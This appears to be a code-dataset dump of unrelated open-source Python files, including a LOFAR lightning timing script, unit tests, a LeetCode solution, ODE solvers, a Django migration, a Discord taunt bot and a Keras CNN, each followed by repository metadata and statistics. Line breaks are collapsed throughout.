#!/usr/bin/env python3 from LoLIM.stationTimings.plot_multiple_data_all_stations import plot_blocks ## these lines are anachronistic and should be fixed at some point from LoLIM import utilities utilities.default_raw_data_loc = "/exp_app2/appexp1/public/raw_data" utilities.default_processed_data_loc = "/home/brian/processed_files" if __name__ == "__main__": timeID = "D20180813T153001.413Z" initial_block =int( 1.1600369/((2**16)*(5.0E-9)) - 7 )#3600 num_blocks = 5#15 block_size = 2**16 points = [ int(i*block_size + initial_block*block_size) for i in range(num_blocks) ] guess_flash_location = [2.43390916381, -50825.1364969, 0.0, 1.56124908739] #[ -3931.11275309 , -50046.0631816 , 3578.27013805 , 1.57679214101 ] ## use this if time delays are real and not apparent. Set to None when delays above are apparent delays, not real delays guess_station_delays = { #"CS002": 0.0, # "RS208": 6.97951240511e-06 , ##?? # "RS210": 0.0, ##?? # #'RS305' : 7.1934989871e-06 , ## diff to guess: 1.37699440122e-09 ## station has issues # #'CS001' : 2.22608533961e-06 , ## diff to guess: 4.78562753903e-11 #'CS003' : 1.40501165264e-06 , ## diff to guess: 2.56900601842e-11 #'CS004' : 4.32211945847e-07 , ## diff to guess: 3.20360474459e-11 #'CS005' : -2.18380807142e-07 , ## diff to guess: -3.01646125334e-12 #'CS006' : 4.34522296073e-07 , ## diff to guess: -2.94819663886e-11 #'CS007' : 4.01400128492e-07 , ## diff to guess: -1.83203313815e-11 #'CS011' : -5.8302961409e-07 , ## diff to guess: -7.32960828329e-11 #'CS013' : -1.81462826555e-06 , ## diff to guess: 5.9737204973e-11 #'CS017' : -8.43481910796e-06 , ## diff to guess: -1.54596823704e-10 #'CS021' : 9.21050369068e-07 , ## diff to guess: 1.24261191845e-10 #'CS024' : 2.32427672269e-06 , ## diff to guess: -8.77497333155e-11 #'CS026' : -9.22825332003e-06 , ## diff to guess: -2.66372216731e-10 #'CS030' : -2.7456803478e-06 , ## diff to guess: 1.39204321291e-10 #'CS031' : 6.01413419127e-07 , ## diff to guess: 2.53209023786e-10 #'CS032' : -1.57741838792e-06 , ## diff to guess: 1.846326379e-10 #'CS101' : -8.16615435706e-06 , ## diff to guess: -2.53208768089e-10 #'CS103' : -2.85091400004e-05 , ## diff to guess: -7.27782381276e-10 #'CS201' : -1.04793635499e-05 , ## diff to guess: -3.0681327272e-10 #'CS301' : -7.17561119226e-07 , ## diff to guess: 5.88567275111e-11 #'CS302' : -5.36129780715e-06 , ## diff to guess: 3.35483144602e-10 #'CS501' : -9.61278903257e-06 , ## diff to guess: 6.00305103156e-11 #'RS106' : 7.02924807891e-06 , ## diff to guess: -7.25879447838e-09 #'RS205' : 7.0038838679e-06 , ## diff to guess: -8.49291760387e-10 #'RS306' : 6.96711967265e-06 , ## diff to guess: -2.62120449015e-09 #'RS307' : 6.75696202824e-06 , ## diff to guess: -1.3075950508e-08 #'RS310' : 2.41269896248e-05 , ## diff to guess: -1.10397627992e-07 #'RS406' : 6.9110087838e-06 , ## diff to guess: -9.59008754502e-10 #'RS407' : 6.98525430598e-06 , ## diff to guess: -3.00606097676e-10 #'RS409' : 6.46668496272e-06 , ## diff to guess: -4.04928527945e-08 #'RS503' : 6.94443898031e-06 , ## diff to guess: 3.84182560508e-10 #'RS508' : 6.98408223074e-06 , ## diff to guess: -2.67436047276e-09 #'CS002': 0.0, 'RS208': 6.97951240511e-06, 'RS210': 0.0, 'RS305': 7.1934989871e-06, 'CS001': 2.24398052932e-06, 'CS003': 1.40671433963e-06, 'CS004': 4.39254549298e-07, 'CS005': -2.17392408269e-07, 'CS006': 4.29289039189e-07, 'CS007': 3.97558509721e-07, 'CS011': -5.91906970684e-07, 'CS013': -1.81204525376e-06, 'CS017': -8.45993703135e-06, 'CS021': 9.41558820961e-07, 'CS024': 2.32937078961e-06, 'CS026': -9.27244674102e-06, 'CS030': -2.73605732527e-06, 'CS031': 6.35936979893e-07, 'CS032': -1.54249405457e-06, 'CS101': -8.21575780092e-06, 'CS103': -2.85893646507e-05, 'CS201': -1.05133457098e-05, 'CS301': -6.86328550514e-07, 'CS302': -5.26891242658e-06, 'CS501': -9.62998566046e-06, 'RS106': 6.76765397484e-06, 'RS205': 7.08992058615e-06, 'RS306': 7.39393907628e-06, 'RS307': 7.7449641133e-06, 'RS310': 7.41170595821e-06, 'RS406': 6.95522873621e-06, 'RS407': 6.8262423552e-06, 'RS409': 7.25738861722e-06, 'RS503': 6.92336265463e-06, 'RS508': 6.36019852868e-06} 'CS002': 0.0, 'CS001' : 2.22387557646e-06 , ## diff to guess: 3.18517622545e-10 'CS003' : 1.40455863627e-06 , ## diff to guess: 1.53521313723e-11 'CS004' : 4.30900574133e-07 , ## diff to guess: 1.38365536384e-10 'CS005' : -2.18815284186e-07 , ## diff to guess: 2.6508625035e-11 'CS006' : 4.34980864494e-07 , ## diff to guess: -9.330207262e-11 'CS007' : 4.01729497298e-07 , ## diff to guess: -8.09325165755e-11 'CS011' : -5.823430971e-07 , ## diff to guess: -1.15198613492e-10 'CS013' : -1.81465773882e-06 , ## diff to guess: -2.00763538069e-11 'CS017' : -8.43258169953e-06 , ## diff to guess: -3.85056108665e-10 'CS021' : 9.19941039479e-07 , ## diff to guess: 2.05397653314e-10 'CS024' : 2.32318085224e-06 , ## diff to guess: 2.17960259389e-10 'CS030' : -2.74560701447e-06 , ## diff to guess: -1.77137589853e-11 'CS032' : -1.58157668878e-06 , ## diff to guess: 6.87814027615e-10 'CS101' : -8.15953877184e-06 , ## diff to guess: -1.04463662949e-09 'CS103' : -2.84990371249e-05 , ## diff to guess: -1.37752973241e-09 'CS201' : -1.04757682248e-05 , ## diff to guess: -4.92204636901e-10 'CS301' : -7.21792199501e-07 , ## diff to guess: 6.93388604766e-10 'CS302' : -5.3731028034e-06 , ## diff to guess: 1.98583644899e-09 'CS501' : -9.60968609077e-06 , ## diff to guess: -5.26058814995e-10 'RS106' : 7.08056273311e-06 , ## diff to guess: -2.21303338139e-09 'RS205' : 6.98980285689e-06 , ## diff to guess: 2.80223827456e-09 'RS306' : 6.9378252342e-06 , ## diff to guess: 9.87807334176e-09 'RS307' : 6.70507155702e-06 , ## diff to guess: 2.59243527917e-08 'RS310' : 2.45363311428e-05 , ## diff to guess: 0.0 'RS406' : 6.9239217611e-06 , ## diff to guess: 4.20859492066e-10 'RS407' : 7.02096706021e-06 , ## diff to guess: -4.72098717648e-09 'RS409' : 6.57692512977e-06 , ## diff to guess: 2.98049180677e-08 'RS503' : 6.94972035701e-06 , ## diff to guess: -8.5438566934e-10 'RS508' : 7.08148673507e-06 , ## diff to guess: -1.48805065579e-08 'RS208' : 6.84965668876e-06 , ## diff to guess: 2.93529464353e-08 } referance_station = "CS002" ## only needed if using real delays, via the location on next line plot_blocks(timeID, block_size, points, guess_station_delays, guess_location = guess_flash_location, bad_stations=["CS401", "CS031", "CS026", "RS210", "RS106"], polarization_flips="polarization_flips.txt", bad_antennas = "bad_antennas.txt", additional_antenna_delays = "ant_delays.txt", do_remove_saturation = True, do_remove_RFI = True, positive_saturation = 2046, negative_saturation = -2047, saturation_post_removal_length = 50, saturation_half_hann_length = 5, referance_station = "CS002")

62.666667

962

0.656355

987

7,144

4.687943

0.333333

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0.115193

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7,144

114

963

62.666667

0.335716

0.62808

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0.133468

0.041532

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false

0

0.032787

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0

null

0

1

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1

0

null

0

2

2b6ab14e30c87422b9c8105893ef622c024762db

121

py

Python

python/testData/inspections/PyUnresolvedReferencesInspection/unusedUnresolvedModuleImported.py

tgodzik/intellij-community

f5ef4191fc30b69db945633951fb160c1cfb7b6f

[ "Apache-2.0" ]

1

2020-06-25T02:17:26.000Z

python/testData/inspections/PyUnresolvedReferencesInspection/unusedUnresolvedModuleImported.py

Cyril-lamirand/intellij-community

60ab6c61b82fc761dd68363eca7d9d69663cfa39

[ "Apache-2.0" ]

2

2022-02-19T09:45:05.000Z

2022-02-27T20:32:55.000Z

python/testData/inspections/PyUnresolvedReferencesInspection/unusedUnresolvedModuleImported.py

Cyril-lamirand/intellij-community

60ab6c61b82fc761dd68363eca7d9d69663cfa39

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

<warning descr="Unused import statement 'import spam'">import <error descr="No module named spam">spam</error></warning>

60.5

120

0.760331

17

121

5.411765

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0.090909

121

1

121

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1

0

null

0

1

0

1

0

5

2b6c7237fa9a38e57467338c82e8ab717aefaf34

2,383

py

Python

tests/units/modules/test_kubevirt_vm_status.py

masayag/ansible-kubevirt-modules

c6dde1bd20bee9136fc9be0107c79f3e5a5f4ada

[ "Apache-2.0" ]

1

2018-12-24T09:07:43.000Z

tests/units/modules/test_kubevirt_vm_status.py

masayag/ansible-kubevirt-modules

c6dde1bd20bee9136fc9be0107c79f3e5a5f4ada

[ "Apache-2.0" ]

null

tests/units/modules/test_kubevirt_vm_status.py

masayag/ansible-kubevirt-modules

c6dde1bd20bee9136fc9be0107c79f3e5a5f4ada

[ "Apache-2.0" ]

null

import json import sys import pytest from ansible.compat.tests.mock import patch from ansible.module_utils import basic from ansible.module_utils._text import to_bytes # FIXME: paths/imports should be fixed before submitting a PR to Ansible sys.path.append('lib/ansible/modules/cloud/kubevirt') import kubevirt_vm_status as mymodule def set_module_args(args): args = json.dumps({'ANSIBLE_MODULE_ARGS': args}) basic._ANSIBLE_ARGS = to_bytes(args) class AnsibleExitJson(Exception): """Exception class to be raised by module.exit_json and caught by the test case""" pass def exit_json(*args, **kwargs): if 'changed' not in kwargs: kwargs['changed'] = False raise AnsibleExitJson(kwargs) class TestKubeVirtVMStatusModule(object): @classmethod @pytest.fixture(autouse=True) def setup_class(cls, monkeypatch): monkeypatch.setattr( mymodule.K8sVirtAnsibleModule, "exit_json", exit_json) args = dict(name='baldr', namespace='vms', state='stopped') set_module_args(args) @patch('kubernetes.client.ApiClient') @patch('kubernetes.client.CustomObjectsApi.patch_namespaced_custom_object') @patch('kubernetes.client.CustomObjectsApi.get_namespaced_custom_object') def test_run_vm_main( self, mock_crd_get, mock_crd_patch, mock_client ): mock_client.return_value = dict() mock_crd_get.return_value = dict(spec=dict(running=True)) mock_crd_patch.return_value = dict() with pytest.raises(AnsibleExitJson) as result: mymodule.KubeVirtVMStatus().execute_module() assert result.value[0]['changed'] mock_crd_patch.assert_called_once_with( 'kubevirt.io', 'v1alpha2', 'vms', 'virtualmachines', 'baldr', dict(spec=dict(running=False))) @patch('kubernetes.client.ApiClient') @patch('kubernetes.client.CustomObjectsApi.patch_namespaced_custom_object') @patch('kubernetes.client.CustomObjectsApi.get_namespaced_custom_object') def test_run_vm_same_state( self, mock_crd_get, mock_crd_patch, mock_client ): mock_client.return_value = dict() mock_crd_get.return_value = dict(spec=dict(running=False)) with pytest.raises(AnsibleExitJson) as result: mymodule.KubeVirtVMStatus().execute_module() assert not result.value[0]['changed']

35.044118

79

0.718003

293

2,383

5.604096

0.358362

0.034105

0.076736

0.090134

0.445189

0.427527

0

0.002558

0.179606

2,383

67

80

35.567164

0.83734

0.062107

0

0.313725

0

0.205393

0.154607

0

0.014925

0.058824

1

0.098039

false

0.019608

0.137255

0

0.27451

0

null

0

null

0

1

0

1

2b6e420a92dfca372820374b206351ebdc97a95a

1,105

py

Python

Leetcode/medium/binary-tree-from-postorder-and-inorder.py

jen-sjen/data-structures-basics-leetcode

addac32974b16e0a37aa60c210ab7820b349b279

[ "MIT" ]

6

2021-07-29T03:26:20.000Z

2022-01-28T15:11:45.000Z

Leetcode/medium/binary-tree-from-postorder-and-inorder.py

jen-sjen/data-structures-basics-leetcode

addac32974b16e0a37aa60c210ab7820b349b279

[ "MIT" ]

2

2021-09-30T09:47:23.000Z

2022-01-31T03:08:24.000Z

Leetcode/medium/binary-tree-from-postorder-and-inorder.py

jen-sjen/data-structures-basics-leetcode

addac32974b16e0a37aa60c210ab7820b349b279

[ "MIT" ]

5

2021-08-10T06:41:11.000Z

2022-01-29T17:50:20.000Z

""" # CREATE BINARY TREE FROM POSTORDER AND INORDER Given inorder and postorder traversal of a tree, construct the binary tree. Note: You may assume that duplicates do not exist in the tree. For example, given inorder = [9,3,15,20,7] postorder = [9,15,7,20,3] Return the following binary tree: 3 - - 9 20 - - 15 7 """ # Definition for a binary tree node. class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right class Solution: def buildTree(self, inorder, postorder) -> TreeNode: if len(postorder) == 0: return None return self.tree(postorder, inorder) def tree(self, post, inorder): if len(post) < 1: return None if len(post) == 1: return TreeNode(post[0], None, None) root = post[-1] index = inorder.index(root) x = self.tree(post[:index], inorder[:index]) y = self.tree(post[index:len(post)-1], inorder[index+1:]) return TreeNode(root, x, y)

24.021739

75

0.58733

152

1,105

4.243421

0.355263

0.062016

0.037209

0.031008

0.049612

0

0.037516

0.300452

1,105

46

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24.021739

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0.335747

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0.1

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1

0.15

false

0

0.5

0

null

0

null

0

1

0

2b700bb220db47ad3294d7a1cf69cd6666d04ddf

460

py

Python

tests/gof/test_utils.py

michaelosthege/aesara

55c88832ba71f87c9612d573ede74a4c042ef570

[ "BSD-3-Clause" ]

null

tests/gof/test_utils.py

michaelosthege/aesara

55c88832ba71f87c9612d573ede74a4c042ef570

[ "BSD-3-Clause" ]

null

tests/gof/test_utils.py

michaelosthege/aesara

55c88832ba71f87c9612d573ede74a4c042ef570

[ "BSD-3-Clause" ]

null

import theano def test_stack_trace(): orig = theano.config.traceback__limit try: theano.config.traceback__limit = 1 v = theano.tensor.vector() assert len(v.tag.trace) == 1 assert len(v.tag.trace[0]) == 1 theano.config.traceback__limit = 2 v = theano.tensor.vector() assert len(v.tag.trace) == 1 assert len(v.tag.trace[0]) == 2 finally: theano.config.traceback__limit = orig

27.058824

45

0.606522

62

460

4.33871

0.33871

0.178439

0.312268

0.386617

0.423792

0

0.023952

0.273913

460

16

46

28.75

0.781437

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0.285714

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0.285714

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0.071429

false

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0.071429

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0.142857

0

null

0

1

0

null

0

2

2b707d6571d63f6cfb0ac8817d11200f9196de51

1,208

py

Python

torchdiffeq/covar/fixed_grid.py

gaozhihan/torchdiffeq

414781617d595ba01cc3f23382e25ab890f4ca66

[ "MIT" ]

1

2022-02-22T12:22:48.000Z

torchdiffeq/covar/fixed_grid.py

gaozhihan/torchdiffeq

414781617d595ba01cc3f23382e25ab890f4ca66

[ "MIT" ]

null

torchdiffeq/covar/fixed_grid.py

gaozhihan/torchdiffeq

414781617d595ba01cc3f23382e25ab890f4ca66

[ "MIT" ]

null

import torch from torchdiffeq.covar.solvers import FixedGridODESolver_Covar from torchdiffeq._impl.rk_common import rk4_alt_step_func class Euler_Covar(FixedGridODESolver_Covar): order = 1 def __init__(self, eps=0., **kwargs): super(Euler_Covar, self).__init__(**kwargs) self.eps = torch.as_tensor(eps, dtype=self.dtype, device=self.device) def _step_func(self, func, t, dt, y): return dt * func(t + self.eps, y) class Midpoint_Covar(FixedGridODESolver_Covar): order = 2 def __init__(self, eps=0., **kwargs): super(Midpoint_Covar, self).__init__(**kwargs) self.eps = torch.as_tensor(eps, dtype=self.dtype, device=self.device) def _step_func(self, func, t, dt, y): half_dt = 0.5 * dt y_mid = y + func(t + self.eps, y) * half_dt return dt * func(t + half_dt, y_mid) class RK4_Covar(FixedGridODESolver_Covar): order = 4 def __init__(self, eps=0., **kwargs): super(RK4_Covar, self).__init__(**kwargs) self.eps = torch.as_tensor(eps, dtype=self.dtype, device=self.device) def _step_func(self, func, t, dt, y): return rk4_alt_step_func(func, t + self.eps, dt - 2 * self.eps, y)

30.974359

77

0.664735

180

1,208

4.15

0.216667

0.093708

0.11245

0.13253

0.536814

0.502008

0.39759

0

0.013598

0.208609

1,208

38

78

31.789474

0.767782

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0.346154

0

1

0.230769

false

0

0.115385

0.076923

0.692308

0

null

0

null

0

1

0

1

0

2

2b70cc37176d4ff82b56496b3bb0b59777850b06

1,317

py

Python

p2/core/migrations/0022_auto_20190604_1725.py

BeryJu/p2

80b5c6a821f90cef73d6e8cd3c6cdb05ffa86b27

[ "MIT" ]

null

p2/core/migrations/0022_auto_20190604_1725.py

BeryJu/p2

80b5c6a821f90cef73d6e8cd3c6cdb05ffa86b27

[ "MIT" ]

null

p2/core/migrations/0022_auto_20190604_1725.py

BeryJu/p2

80b5c6a821f90cef73d6e8cd3c6cdb05ffa86b27

[ "MIT" ]

null

# Generated by Django 2.2.1 on 2019-06-04 17:25 from django.db import migrations, models import p2.core.validators class Migration(migrations.Migration): dependencies = [ ('p2_core', '0021_auto_20190517_1647'), ] operations = [ migrations.AlterField( model_name='blob', name='path', field=models.TextField(validators=[p2.core.validators.validate_blob_path]), ), migrations.AlterField( model_name='component', name='controller_path', field=models.TextField(choices=[('p2.components.image.controller.ImageController', 'ImageController'), ('p2.components.quota.controller.QuotaController', 'QuotaController'), ('p2.components.public_access.controller.PublicAccessController', 'PublicAccessController'), ('p2.components.replication.controller.ReplicationController', 'ReplicationController')]), ), migrations.AlterField( model_name='storage', name='controller_path', field=models.TextField(choices=[('p2.core.storages.null.NullStorageController', 'NullStorageController'), ('p2.storage.local.controller.LocalStorageController', 'LocalStorageController'), ('p2.storage.s3.controller.S3StorageController', 'S3StorageController')]), ), ]

42.483871

369

0.686409

118

1,317

7.559322

0.474576

0.026906

0.084081

0.097534

0.105381

0

0.040854

0.182232

1,317

30

370

43.9

0.787372

0.034169

0

0.347826

1

0

0.446457

0.359843

0

1

0

false

0

0.086957

0

0.217391

0

null

0

1

0

null

0

1

2b710f90f0702741396a2856184f7a5db291acfa

303

py

Python

instagram_api/response/model/trace_control.py

Yuego/instagram_api

b53f72db36c505a2eb24ebac1ba8267a0cc295bb

[ "MIT" ]

13

2019-08-07T21:24:34.000Z

2020-12-12T12:23:50.000Z

instagram_api/response/model/trace_control.py

Yuego/instagram_api

b53f72db36c505a2eb24ebac1ba8267a0cc295bb

[ "MIT" ]

null

instagram_api/response/model/trace_control.py

Yuego/instagram_api

b53f72db36c505a2eb24ebac1ba8267a0cc295bb

[ "MIT" ]

null

from ..mapper import PropertyMapper, ApiInterfaceBase from ..mapper.types import Timestamp, AnyType __all__ = ['TraceControl', 'TraceControlInterface'] class TraceControlInterface(ApiInterfaceBase): max_trace_timeout_ms: int class TraceControl(PropertyMapper, TraceControlInterface): pass

21.642857

58

0.805281

27

303

8.777778

0.666667

0.084388

0

0.118812

303

13

59

23.307692

0.88764

0

0.109272

0.069536

0

1

0

false

0.142857

0.285714

0

0.714286

0

1

0

null

0

null

0

1

0

1

0

3

2b73520f6d9b5c53da710ad7256889ffc791f69c

2,627

py

Python

tests/test_logit.py

wbbradley/logit

97dcff8b1e730d4df31b496d69b350999a2e05d3

[ "CC0-1.0" ]

null

tests/test_logit.py

wbbradley/logit

97dcff8b1e730d4df31b496d69b350999a2e05d3

[ "CC0-1.0" ]

null

tests/test_logit.py

wbbradley/logit

97dcff8b1e730d4df31b496d69b350999a2e05d3

[ "CC0-1.0" ]

null

import cStringIO import tempfile import mock from attrdict import AttrDict from logit.main import get_arg_parser, main from logit.crypt import get_secret_key, encrypt_json, decrypt_json def test_get_arg_parser(): """Test get arg parser.""" get_arg_parser() @mock.patch('logit.main.get_console_input') @mock.patch('logit.crypt.getpass.getpass') def test_main(mock_getpass, mock_input): """Test adding a note.""" password = 'p@ssword' mock_getpass.side_effect = [ password, Exception('called too many times'), ] mock_input.side_effect = [ 'note', 'This is a test note', Exception('called too many times'), ] with tempfile.NamedTemporaryFile() as file_: entry = { "category": "note", "timestamp": "2014-12-01T02:43:04.384669", "message": "This is a test.", "installation": "b8f2e978-f638-492a-022f-abce33fc8203", "id": "97c6683d-ff1f-4791-a313-6d4588fa5aaa", } length = file_.tell() opts = AttrDict() encrypt_json(get_secret_key(opts, password=password), entry, file_) assert length < file_.tell() length = file_.tell() main(argv=['--log={}'.format(file_.name)]) file_.seek(0, 2) assert length < file_.tell() def test_get_secret_key(): """Test get secret key.""" opts = AttrDict() get_secret_key(opts, password='blahblahblah') assert opts.secret_key is not None def test_encrypt_decrypt_json(): """Test encrypt decrypt json.""" stream = cStringIO.StringIO() secret_key = b'\xd3\x81by(!]\xbdU0\xd0\xe2\xa0\xd6j\xcc\xca\x92\x0e\x8c\xd7\xb5~D/1\xdc4\xbd\xb2w\x06' # noqa blob_data = {'test': 'data', '1': 2} encrypt_json(secret_key, blob_data, stream) stream.seek(0) encrypted = stream.read() assert len(encrypted) > 0 decrypted_blob = decrypt_json(secret_key, encrypted) assert decrypted_blob == blob_data def test_encrypt_decrypt_json_failure(): """Test encrypt decrypt json.""" stream = cStringIO.StringIO() secret_key = b'\xd3\x81by(!]\xbdU0\xd0\xe2\xa0\xd6j\xcc\xca\x92\x0e\x8c\xd7\xb5~D/1\xdc4\xbd\xb2w\x06' # noqa blob_data = {'test': 'data', '1': 2} encrypt_json(secret_key, blob_data, stream) stream.seek(0) encrypted = stream.read() assert len(encrypted) > 0 bad_secret_key = b'\xe3\x81by(!]\xbdU0\xd0\xe2\xa0\xd6j\xcc\xca\x92\x0e\x8c\xd7\xb5~D/1\xdc4\xbd\xb2w\x06' # noqa try: decrypt_json(bad_secret_key, encrypted) except ValueError: pass else: assert False

30.195402

118

0.644081

354

2,627

4.59887

0.330508

0.071867

0.036855

0.054054

0.406634

0.313268

0

0.06174

0.216978

2,627

86

119

30.546512

0.729703

0.049867

0

0.333333

0

0.045455

0.234603

0.166532

0

0.106061

1

0.075758

false

0.121212

0.090909

0

0.166667

0

null

0

null

0

1

0

1

2b76612269c85e9f247752fe2f6a4d09415e6758

2,644

py

Python

hyper_param/utils.py

EnisBerk/hyperopt-keras-sample

dc6892f023b83ee3b5b92f2a258676ad6bbc0a94

[ "MIT" ]

null

hyper_param/utils.py

EnisBerk/hyperopt-keras-sample

dc6892f023b83ee3b5b92f2a258676ad6bbc0a94

[ "MIT" ]

null

hyper_param/utils.py

EnisBerk/hyperopt-keras-sample

dc6892f023b83ee3b5b92f2a258676ad6bbc0a94

[ "MIT" ]

null

"""Json utils to print, save and load training results.""" import os import json from bson import json_util import tensorflow as tf from tensorflow.python.saved_model import builder as saved_model_builder, tag_constants from tensorflow.python.client import device_lib import keras.backend as K from gradient_sdk import model_dir, export_dir EXPERIMENT_NAME = os.environ.get('EXPERIMENT_NAME') RESULTS_DIR = model_dir(EXPERIMENT_NAME) def is_gpu_available(): return tf.test.is_gpu_available() def get_available_gpus(): local_device_protos = device_lib.list_local_devices() return [x.name for x in local_device_protos if x.device_type == 'GPU'] def print_json(result): """Pretty-print a jsonable structure (e.g.: result).""" print(json.dumps( result, default=json_util.default, sort_keys=True, indent=4, separators=(',', ': ') )) def save_json_result(model_name, result): """Save json to a directory and a filename.""" print("Prepare to save best result") result_name = '{}.txt.json'.format(model_name) if not os.path.exists(RESULTS_DIR): os.makedirs(RESULTS_DIR) with open(os.path.join(RESULTS_DIR, result_name), 'w') as f: json.dump( result, f, default=json_util.default, sort_keys=True, indent=4, separators=(',', ': ') ) print("Result save to json finished") def load_json_result(best_result_name): """Load json from a path (directory + filename).""" result_path = os.path.join(RESULTS_DIR, best_result_name) with open(result_path, 'r') as f: return json.JSONDecoder().decode( f.read() # default=json_util.default, # separators=(',', ': ') ) def load_best_hyperspace(): results = [ f for f in list(sorted(os.listdir(RESULTS_DIR))) if 'json' in f ] if len(results) == 0: return None best_result_name = results[-1] return load_json_result(best_result_name)["space"] def export_model(model_name): try: # Export Model tf.logging.info("Export trained model") export_path = export_dir(EXPERIMENT_NAME) model_path = os.path.join(export_path, model_name, '1') K.set_learning_phase(0) builder = saved_model_builder.SavedModelBuilder(model_path) with K.get_session() as sess: builder.add_meta_graph_and_variables( sess=sess, tags=[tag_constants.SERVING], ) builder.save() except Exception as e: tf.logging.error('Model export has failed with error: %s', e)

28.430108

87

0.655446

358

2,644

4.617318

0.332402

0.036298

0.033878

0.039927

0.119782

0.095584

0.061706

0

0.002963

0.234115

2,644

92

88

28.73913

0.813333

0.095688

0

0.064516

0

0.067596

0

1

0.112903

false

0

0.129032

0.016129

0.322581

0.064516

0

null

0

null

0

1

0

2b774945cd3adbd39f821d0dd8b129b94b59f146

2,941

py

Python

cog_modules/taunts/cog.py

michael-byrd/HammerBot

f9ad90179b486949f76a2e69a1e8b26414e2b21a

[ "MIT" ]

3

2021-12-30T19:45:24.000Z

2022-03-07T19:14:26.000Z

cog_modules/taunts/cog.py

michael-byrd/HammerBot

f9ad90179b486949f76a2e69a1e8b26414e2b21a

[ "MIT" ]

29

2022-01-07T20:07:48.000Z

2022-03-30T01:10:16.000Z

cog_modules/taunts/cog.py

michael-byrd/HammerBot

f9ad90179b486949f76a2e69a1e8b26414e2b21a

[ "MIT" ]

4

2022-01-07T20:17:56.000Z

2022-03-24T00:20:50.000Z

import os import disnake from disnake.ext import commands, tasks from dotenv import load_dotenv class Taunts(commands.Cog): """Replies with taunts from AoE2""" def __init__(self, bot: commands.Bot): self.bot = bot @commands.command(name="1") async def yes_1(self, ctx: commands.Context): """ Command: 1 Returns: The age taunt #1. (Yes.) """ response = "Yes." await ctx.send(response) @commands.command(name="2") async def no_2(self, ctx: commands.Context): """ Command: 2 Returns: The age taunt #2. (No.) """ response = "No." await ctx.send(response) @commands.command(name="28") async def otherguy_28(self, ctx: commands.Context): """ Command: 28 Returns: The age taunt #28. (Yeah, well, you should see the other guy.) """ response = "Yeah, well, you should see the other guy." await ctx.send(response) @commands.command(name="30") async def monk_30(self, ctx: commands.Context): """ Command: 30 Returns: The age taunt #30. (Wololo!) """ response = "Wololo!" await ctx.send(response) @commands.command(name="14", help="Returns AoE2 taunt #14.") # @commands.cooldown(1, 30, commands.BucketType.user) async def startTheGame(self, ctx: commands.Context): """ Command: 14 Returns: The age2 taunt #14. (Start the game already!) """ response = "Start the game already!" await ctx.send(response) @commands.command(name="13", help="Returns AoE2 taunt #13.") # @commands.cooldown(1, 30, commands.BucketType.user) async def isp(self, ctx: commands.Context): """ Command: 13 Returns: The age2 taunt #13. (Sure, blame it on your ISP.) """ response = "Sure, blame it on your ISP." await ctx.send(response) @commands.command(name="age?", help="Returns AoE2 taunt #30.") # @commands.cooldown(1, 30, commands.BucketType.user) async def questionableAge(self, ctx: commands.Context): """ Command: age? Returns: The phrase "Well, duh." """ response = "Well, duh." await ctx.send(response) @commands.command(name="11") async def laugh(self, ctx: commands.Context): """ Command: 11 Returns: The age taunt #11. (*laughter*) """ response = "🤣" await ctx.send(response) @commands.command(name="!gg") async def gg(self, ctx: commands.Context): """ Command: :gg: Returns: The server GG emote. """ response = "<:gg:861701719050551307>" await ctx.send(response) def setup(bot: commands.Bot): bot.add_cog(Taunts(bot))

29.118812

80

0.555593

338

2,941

4.807692

0.227811

0.083077

0.105231

0.121846

0.505846

0.345231

0.320615

0.128615

0.090462

0

0.040159

0.314179

2,941

100

81

29.41

0.764998

0.063244

0

0.2

0

0.122383

0.012882

0

1

0.044444

false

0

0.088889

0

0.155556

0

null

0

null

0

1

0

2b77f7eedc8e7e3dc9ed83b6fd8ae34f45c97d94

2,475

py

Python

sources/models/DeepCNN2.py

cwi-dis/affect-gan

aea0f7dd7dc412f7e3fc44bc2db3526b09aaf131

[ "MIT" ]

null

sources/models/DeepCNN2.py

cwi-dis/affect-gan

aea0f7dd7dc412f7e3fc44bc2db3526b09aaf131

[ "MIT" ]

null

sources/models/DeepCNN2.py

cwi-dis/affect-gan

aea0f7dd7dc412f7e3fc44bc2db3526b09aaf131

[ "MIT" ]

null

import config import tensorflow as tf import tensorflow.keras.layers as layers from models.Blocks import * class DeepCNN(tf.keras.Model): def __init__(self, hparams, *args, **kwargs): super(DeepCNN, self).__init__(*args, **kwargs) self.layers_count = hparams[config.HP_DEEP_LAYERS] self.dual_output = hparams[config.HP_LOSS_TYPE] == "DUAL_BCE" self.input_len = 500 self.down_res_layers = [DownResLayer ( hparams[config.HP_DEEP_CHANNELS] * 2**l, kernel_size=hparams[config.HP_DEEP_KERNEL_SIZE], first_layer=(l == 0), use_dropout=True ) for l in range(self.layers_count - 1)] self.down_res_layer_final_a = DownResLayer( hparams[config.HP_DEEP_CHANNELS] * 2**(self.layers_count-1), kernel_size=hparams[config.HP_DEEP_KERNEL_SIZE], first_layer=False ) self.down_res_layer_final_v = DownResLayer( hparams[config.HP_DEEP_CHANNELS] * 2**(self.layers_count-1), kernel_size=hparams[config.HP_DEEP_KERNEL_SIZE], first_layer=False ) self.feature_pool_a = layers.GlobalAveragePooling1D() self.feature_pool_v = layers.GlobalAveragePooling1D() self.lrelu_out_a = layers.LeakyReLU() self.lrelu_out_v = layers.LeakyReLU() if hparams[config.HP_LOSS_TYPE] == "MSE": activation = None else: activation = 'sigmoid' self.dense_out_a = layers.Dense(units=1, activation=activation, name="arousal_class") self.dense_out_v = layers.Dense(units=1, activation=activation, name="valence_class") def call(self, inputs, training=None, mask=None): x = inputs for i in range(self.layers_count - 1): x = self.down_res_layers[i](x, training=training) x_a = self.down_res_layer_final_a(x, training=training) x_a = self.lrelu_out_a(x_a) x_a = self.feature_pool_a(x_a) if self.dual_output: x_v = self.down_res_layer_final_v(x, training=training) x_v = self.lrelu_out_v(x_v) x_v = self.feature_pool_v(x_v) return self.dense_out_a(x_a), self.dense_out_v(x_v) else: return self.dense_out_a(x_a) def model(self): x = layers.Input(shape=(500, 5)) return tf.keras.Model(inputs=[x], outputs=self.call(x))

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null

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null

0

1

0

2b78cd2e8c328cd6e908ab353389cea7a0e9d949

4,517

py

Python

z3/finding_celebrities.py

Wikunia/hakank

030bc928d2efe8dcbc5118bda3f8ae9575d0fd13

[ "MIT" ]

279

2015-01-10T09:55:35.000Z

2022-03-28T02:34:03.000Z

z3/finding_celebrities.py

Wikunia/hakank

030bc928d2efe8dcbc5118bda3f8ae9575d0fd13

[ "MIT" ]

10

2017-10-05T15:48:50.000Z

